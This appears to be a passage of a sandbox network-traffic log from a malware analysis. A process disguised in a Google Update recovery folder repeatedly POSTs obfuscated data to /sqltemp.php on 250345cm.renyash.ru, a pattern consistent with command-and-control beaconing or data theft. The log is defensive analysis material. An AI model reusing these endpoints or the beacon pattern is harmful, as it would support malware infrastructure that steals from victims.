Jan 1, 2025 16:03:02.667963982 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:02.942850113 CET	956	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YIcm62mtuUESCCkEKoCdweMgQWgRH4y8c95ekaBnVA6%2FcrIcf2OJ2A1Aj5S1cqrnkL0U2tgPEtC7pymeCgsRyJ2i26Cu9SCFEAXBRpHaqn%2B2gzRT5ea%2BwM%2Bn9uq3eXYJ4ue9ay7B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364d15f41c343-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7985&min_rtt=1681&rtt_var=13239&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2266&delivery_rate=28014&cwnd=207&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 25 1d 29 3e 31 0c 24 32 20 5d 3c 13 0d 56 25 07 3d 02 28 01 3a 5d 33 07 30 02 2a 00 2b 10 36 3f 21 5a 31 06 24 58 21 3e 2f 5f 33 0e 2b 59 05 1c 20 44 36 2c 37 03 3d 03 09 5d 31 11 35 5c 33 2e 24 15 3c 01 23 0c 23 2b 2f 58 33 3d 3b 01 2a 5c 34 1d 24 3f 3f 5f 2d 2f 32 0e 33 2a 2c 54 00 11 26 1c 27 1f 30 16 20 37 02 12 21 1f 14 03 32 1a 3e 15 25 2c 3b 1b 37 00 2d 00 26 22 09 59 21 1d 03 06 32 28 25 13 34 3d 3f 54 3e 14 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%)>1$2 ]<V%=(:]30+6?!Z1$X!>/_3+Y D6,7=]15\3.$<##+/X3=;\4$??_-/23*,T&'0 7!2>%,;7-&"Y!2(%4=?T>%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	62702	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:02.315737009 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:02.672863960 CET	1124	OUT	Data Raw: 56 5f 5f 5c 54 5c 54 55 58 56 52 59 56 5f 59 54 5b 59 54 59 55 54 50 5b 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: V__\T\TUXVRYV_YT[YTYUTP[Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-&<&7:'- ;): X*$>/##+(9&<.&Y.,Y-9
Jan 1, 2025 16:03:02.780877113 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:02.985894918 CET	798	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LbXGP3K9Ia0kJ2qY6S6b9XhxKoV5Aj0WKUy8fhZWkUJxf8YAo3kwAqpN0lHXCWA4n1gV4YLWH0KAzePX0A3km6CgeyzLZrH3d0GmcIKHOW2cfiPhXKfY5yZO48U404s8d1QkYwXk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364d2180d4291-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3435&min_rtt=1639&rtt_var=4207&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=91187&cwnd=206&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	62703	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:03.113523006 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:03:03.470048904 CET	1124	OUT	Data Raw: 53 55 5f 54 54 59 54 5c 58 56 52 59 56 5d 59 56 5b 52 54 59 55 5d 50 5d 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SU_TTYT\XVRYV]YV[RTYU]P]Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-0?-#&$X?E/:-U!=8X+9*=7#!<(+:%W,:&Y.,Y-1
Jan 1, 2025 16:03:03.617702961 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:03.869923115 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WqtAk%2FFAf6H0KG2dk%2FJH0XEb0%2FNAXtniSIKXdTvlqlZT9zqMCyzDQblMCSYaIdL7JZRbW5mY3tGm7OELqpcfk%2Fj7q6ucf1AyEgqSXlMa1BvrNCwscY5IO09Xc04%2BKdD5oGMCUi%2BF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364d749180f81-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4703&min_rtt=3499&rtt_var=2172&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=417262&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a Data Ascii: 42W\X
Jan 1, 2025 16:03:03.958408117 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	62704	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:04.082139969 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:04.536664963 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:04.716706991 CET	1124	OUT	Data Raw: 53 53 5a 56 54 50 54 55 58 56 52 59 56 5e 59 55 5b 5b 54 5f 55 5e 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SSZVTPTUXVRYV^YU[[T_U^PXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.3<!\ 0=;;)=U4=$(+).[#17(+"&Y'R.&Y.,Y-
Jan 1, 2025 16:03:05.068434954 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9CIjXfAmJkNfh73YgDHoUxetAB0YXn9VDs0wcF06SMdZ0PPC2gT1lNThd5NBf3e%2BOIDDC%2BVyi5Qs1NYTUanYlk6X9%2Fkf61X%2FgsecXLvVQD7gAbMcf4srQXDGJQvgnB%2ByLA1Czb0L"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364dd0cef8ca1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5095&min_rtt=2417&rtt_var=6263&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=61233&cwnd=167&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	62705	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:05.191215992 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:05.547817945 CET	1124	OUT	Data Raw: 53 53 5f 50 54 5d 54 5c 58 56 52 59 56 51 59 57 5b 59 54 59 55 58 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SS_PT]T\XVRYVQYW[YTYUXP^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.['!7-3'/)T40Z<>#/X<5D2:&Y.,Y-
Jan 1, 2025 16:03:05.655436039 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:05.910667896 CET	800	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M6AVg45NfB67Y57TpSPWHwrtzdTEwqt2QeviEWlipY06GPJ53XjBcoIZbBUkMMmfeJd8xYZ9T3DOlERvTKUwbIIIV0ji9YZGTLtHhtZXC6%2FfmPugctA5QQAZS8FDRt27XJRkAtFw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364e409044201-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3732&min_rtt=1963&rtt_var=4274&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=90593&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	62706	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:06.043085098 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:06.391849995 CET	1124	OUT	Data Raw: 53 57 5f 5d 51 5d 51 55 58 56 52 59 56 5b 59 51 5b 5a 54 5d 55 5f 50 54 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SW_]Q]QUXVRYV[YQ[ZT]U_PTZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$: 20>?A/. [ ?#V>7Z<!1?,:&Y.,Y-)
Jan 1, 2025 16:03:06.487298012 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:06.667912006 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gq0oWyWJEIXKh%2F4%2BRTpq1DSrPV9Nb6NnS4DRn5aVoMybY9vnPixoabDt1OrTGwfaf1tblIbPoASfgpCPWHQ60DYb6J44yuTA3d%2Bsfug97rs%2BM0RFnJATYyEjYmkkOISK64fxSdua"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364e948f94233-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5517&min_rtt=2486&rtt_var=6995&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=54599&cwnd=218&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	62707	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:06.801279068 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:07.245246887 CET	1124	OUT	Data Raw: 53 53 5f 54 51 58 51 56 58 56 52 59 56 50 59 53 5b 53 54 5c 55 55 50 5c 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SS_TQXQVXVRYVPYS[ST\UUP\Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$/-4?1'=+,:27=[+)7R.[ 2+*&Y$.:&Y.,Y-
Jan 1, 2025 16:03:07.272711039 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:07.513871908 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hvou8QjLgg3HbykTRWnT6sObBOh3pzDsiLYF6OAoyCe1Pjf%2FW4abf8Gv%2BP7crtP8zz%2FyNtCRUqMGrrCmLDIubn5SsyEcbnHfGPBIdBmsbJOf24NQyVYn%2BXfmmUM7xItw1xhZ8WQ2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364ee299e199d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4869&min_rtt=1890&rtt_var=6667&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=56756&cwnd=222&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	62708	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:07.647829056 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	62709	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:07.960408926 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1964 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:08.313519955 CET	1964	OUT	Data Raw: 53 55 5a 57 51 5c 51 57 58 56 52 59 56 5f 59 50 5b 5c 54 5b 55 58 50 54 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SUZWQ\QWXVRYV_YP[\T[UXPTZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.'Y% 2'-',-4=$Y?)). T7[<]"%(.:&Y.,Y-9
Jan 1, 2025 16:03:08.427053928 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:08.608072042 CET	955	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BnIuqMcauHvEy42Br26MG1LOYwFYxMMGpeltxwmqchtS%2FDldommSZuxUfZEd0w1Qp3Z8c%2BtPUmbATldhvnycDCD3bsraoMEqGDdS0FfUS%2FPsIPcN%2B05KifuJcDk7Pjlqi7gozRuQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364f55f6841ac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4974&min_rtt=1773&rtt_var=7068&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2266&delivery_rate=53309&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 25 1d 2a 3d 2a 1e 31 0c 2f 03 3c 04 27 53 31 00 04 11 3c 06 31 05 24 2d 33 59 2a 3a 20 02 36 3c 2e 07 31 01 23 07 21 2e 2f 59 33 1e 2b 59 05 1c 20 43 22 3c 3f 01 3d 2e 24 01 27 3f 2e 04 27 00 24 5f 2a 2b 20 53 23 3b 20 06 26 2e 37 02 3e 3a 3c 53 27 02 33 5c 39 3f 29 1f 33 00 2c 54 00 11 26 1c 27 08 23 01 37 09 30 5d 21 1f 21 13 26 42 2a 50 26 12 0d 52 23 17 22 59 31 31 3f 13 21 23 3a 5e 32 3b 39 5c 23 3e 33 52 3d 3e 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%=1/<'S1<1$-3Y: 6<.1#!./Y3+Y C"<?=.$'?.'$_+ S#; &.7>:<S'3\9?)3,T&'#70]!!&B*P&R#"Y11?!#:^2;9\#>3R=>%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	62710	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:08.085648060 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:08.438534021 CET	1124	OUT	Data Raw: 53 55 5f 53 54 59 54 53 58 56 52 59 56 5a 59 56 5b 5d 54 5c 55 5b 50 5f 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SU_STYTSXVRYVZYV[]T\U[P_Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-3,!Y4.'>#B8:!=Z?7(-'!"/?+&4,*&Y.,Y--
Jan 1, 2025 16:03:08.537785053 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:08.802113056 CET	814	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jl2937dxx24%2FC3Wjk8bqcVIzGFGMFaOxfRHhMgLpjvw9bHK1aV%2F1MLWt3NBcXHeNbWK%2B%2BDQZg6xmykkaM%2BUPgezeV%2FS7Gc3lMNi3C4vvsAanv9KpMTo3z%2Fqspugnd7a9VkpLirHo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364f61b2cc336-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11981&min_rtt=6291&rtt_var=13740&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=28176&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	62711	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:08.941576004 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:03:09.297864914 CET	1124	OUT	Data Raw: 56 54 5a 53 54 59 54 5d 58 56 52 59 56 50 59 53 5b 5c 54 5f 55 5f 50 54 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VTZSTYT]XVRYVPYS[\T_U_PTZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S._3/5\ Y.$X+C/=R4-+).?#2?Y?(&&$.&Y.,Y-
Jan 1, 2025 16:03:09.393985033 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:09.599112034 CET	813	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ILfkweiiuQtB4PbpxJIpaovcx2oplJ%2BJyWpmDU03r%2FFqusOtGniP%2BLhUSjaoIMy%2FMkncF5BGgEwFn8VqTqkx4Vny9n%2FjOhL5Fc9gqDHaflKyfx%2B%2B7ESs2uwIItatjUFPVTtcXQyZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364fb6aa84373-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6580&min_rtt=1646&rtt_var=10485&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=35506&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
